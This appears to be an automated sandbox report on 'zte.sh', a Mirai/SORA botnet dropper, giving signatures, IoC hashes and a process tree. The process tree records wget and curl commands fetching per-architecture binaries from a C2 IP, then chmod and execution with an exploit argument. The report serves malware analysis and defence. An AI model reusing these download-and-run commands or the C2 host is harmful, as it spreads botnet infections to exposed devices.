Analysis

  • max time kernel
    34s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20260513-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    09/09/2026, 15:05

General

  • Target
    zte.sh
  • Size 2KB
  • Sample260909-sgd6xsysgv
  • SHA256 f92c27bd2bb425a9d346a0ff64592dd7d76678e9d1f5cffb2cdf7c37d74885bf
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Family
  • mirai

Botnet
  • SORA

C2
  • 150.40.127.145

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Contacts a large (45545) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Changes its process name 1 IoCs
  • Reads runtime system information 24 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/zte.sh
    /tmp/zte.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:724
    • /usr/bin/wget
      wget http://150.40.127.145/bins/sora.x86
      2⤵
      • Writes file to tmp directory
      PID:732
    • /usr/bin/curl
      curl -O http://150.40.127.145/bins/sora.x86
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:741
    • /bin/cat
      cat sora.x86
      2⤵
        PID:750
      • /bin/chmod
        chmod +x robben sora.x86 systemd-private-f4b6878d892b4f55be4a8132645c01f9-systemd-timedated.service-nxDN2H zte.sh
        2⤵
        • File and Directory Permissions Modification
        PID:751
      • /tmp/robben
        ./robben zte.exploit
        2⤵
          PID:752
        • /usr/bin/wget
          wget http://150.40.127.145/bins/sora.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:755
        • /usr/bin/curl
          curl -O http://150.40.127.145/bins/sora.mips
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:757
        • /bin/cat
          cat sora.mips
          2⤵
          • System Network Configuration Discovery
          PID:758
        • /bin/chmod
          chmod +x robben sora.mips sora.x86 systemd-private-f4b6878d892b4f55be4a8132645c01f9-systemd-timedated.service-nxDN2H zte.sh
          2⤵
          • File and Directory Permissions Modification
          PID:759
        • /tmp/robben
          ./robben zte.exploit
          2⤵
          • Modifies Watchdog functionality
          • Changes its process name
          • Reads runtime system information
          PID:760
        • /usr/bin/wget
          wget http://150.40.127.145/bins/sora.x86_64
          2⤵
            PID:767
          • /usr/bin/curl
            curl -O http://150.40.127.145/bins/sora.x86_64
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:768
          • /bin/cat
            cat sora.x86_64
            2⤵
              PID:769
            • /bin/chmod
              chmod +x robben sora.mips sora.x86 sora.x86_64 systemd-private-f4b6878d892b4f55be4a8132645c01f9-systemd-timedated.service-nxDN2H zte.sh
              2⤵
              • File and Directory Permissions Modification
              PID:770
            • /tmp/robben
              ./robben zte.exploit
              2⤵
                PID:771
              • /usr/bin/wget
                wget http://150.40.127.145/bins/sora.i468
                2⤵
                  PID:772
                • /usr/bin/curl
                  curl -O http://150.40.127.145/bins/sora.i468
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:773
                • /bin/cat
                  cat sora.i468
                  2⤵
                    PID:780
                  • /bin/chmod
                    chmod +x robben sora.i468 sora.mips sora.x86 sora.x86_64 systemd-private-f4b6878d892b4f55be4a8132645c01f9-systemd-timedated.service-nxDN2H zte.sh
                    2⤵
                    • File and Directory Permissions Modification
                    PID:781
                  • /tmp/robben
                    ./robben zte.exploit
                    2⤵
                      PID:782
                    • /usr/bin/wget
                      wget http://150.40.127.145/bins/sora.i686
                      2⤵
                        PID:785
                      • /usr/bin/curl
                        curl -O http://150.40.127.145/bins/sora.i686
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:790
                      • /bin/cat
                        cat sora.i686
                        2⤵
                          PID:797
                        • /bin/chmod
                          chmod +x robben sora.i468 sora.i686 sora.mips sora.x86 sora.x86_64 systemd-private-f4b6878d892b4f55be4a8132645c01f9-systemd-timedated.service-nxDN2H zte.sh
                          2⤵
                          • File and Directory Permissions Modification
                          PID:799
                        • /tmp/robben
                          ./robben zte.exploit
                          2⤵
                            PID:800
                          • /usr/bin/wget
                            wget http://150.40.127.145/bins/sora.mpsl
                            2⤵
                            • Writes file to tmp directory
                            PID:802
                          • /usr/bin/curl
                            curl -O http://150.40.127.145/bins/sora.mpsl
                            2⤵
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:809
                          • /bin/cat
                            cat sora.mpsl
                            2⤵
                              PID:821
                            • /bin/chmod
                              chmod +x robben sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 systemd-private-f4b6878d892b4f55be4a8132645c01f9-systemd-timedated.service-nxDN2H zte.sh
                              2⤵
                              • File and Directory Permissions Modification
                              PID:822
                            • /tmp/robben
                              ./robben zte.exploit
                              2⤵
                                PID:824
                              • /usr/bin/wget
                                wget http://150.40.127.145/bins/sora.arm4
                                2⤵
                                  PID:826
                                • /usr/bin/curl
                                  curl -O http://150.40.127.145/bins/sora.arm4
                                  2⤵
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:832
                                • /bin/cat
                                  cat sora.arm4
                                  2⤵
                                    PID:835
                                  • /bin/chmod
                                    chmod +x robben sora.arm4 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 systemd-private-f4b6878d892b4f55be4a8132645c01f9-systemd-timedated.service-nxDN2H zte.sh
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:836
                                  • /tmp/robben
                                    ./robben zte.exploit
                                    2⤵
                                      PID:837
                                    • /usr/bin/wget
                                      wget http://150.40.127.145/bins/sora.arm5
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:838
                                    • /usr/bin/curl
                                      curl -O http://150.40.127.145/bins/sora.arm5
                                      2⤵
                                      • Reads runtime system information
                                      • Writes file to tmp directory
                                      PID:839
                                    • /bin/cat
                                      cat sora.arm5
                                      2⤵
                                        PID:843
                                      • /bin/chmod
                                        chmod +x robben sora.arm4 sora.arm5 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 zte.sh
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:844
                                      • /tmp/robben
                                        ./robben zte.exploit
                                        2⤵
                                          PID:845
                                        • /usr/bin/wget
                                          wget http://150.40.127.145/bins/sora.arm6
                                          2⤵
                                            PID:847

                                        Network

                                              MITRE ATT&CK Enterprise v16

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                                              Downloads

                                              robben

                                              • Path /tmp/robben
                                              • Size 28KB
                                              • SHA256 ecee64f2446c402df5024227ab3217e82ce4f40fd3f509a306ce731de3fa71a4
                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                              robben

                                              • Path /tmp/robben
                                              • Size 214B
                                              • SHA256 db2dfc1e627fb90bd986951fff590c1f4d0df26fca0ad2af94ccfdec2ab6aa25
                                              • MD5 SHA1 SHA512 TLSH

                                              robben

                                              • Path /tmp/robben
                                              • Size 212B
                                              • SHA256 3ffdc3e7f17876fa23ee6595712e544975dc985d313fe07fd103e6cd3606b435
                                              • MD5 SHA1 SHA512 TLSH

                                              robben

                                              • Path /tmp/robben
                                              • Size 29KB
                                              • SHA256 8c5a998b2a84a17a4be7329f6f2dba30c443b2e3d33db0f26aaa397b55de6b0e
                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                              sora.x86

                                              • Path /tmp/sora.x86
                                              • Size 27KB
                                              • SHA256 bdaf3c99c0dc9f4a9b75b30f228dd64f168de46da83546f8c3b7d93bc7298bae
                                              • MD5 SHA1 SHA512 SSDEEP TLSH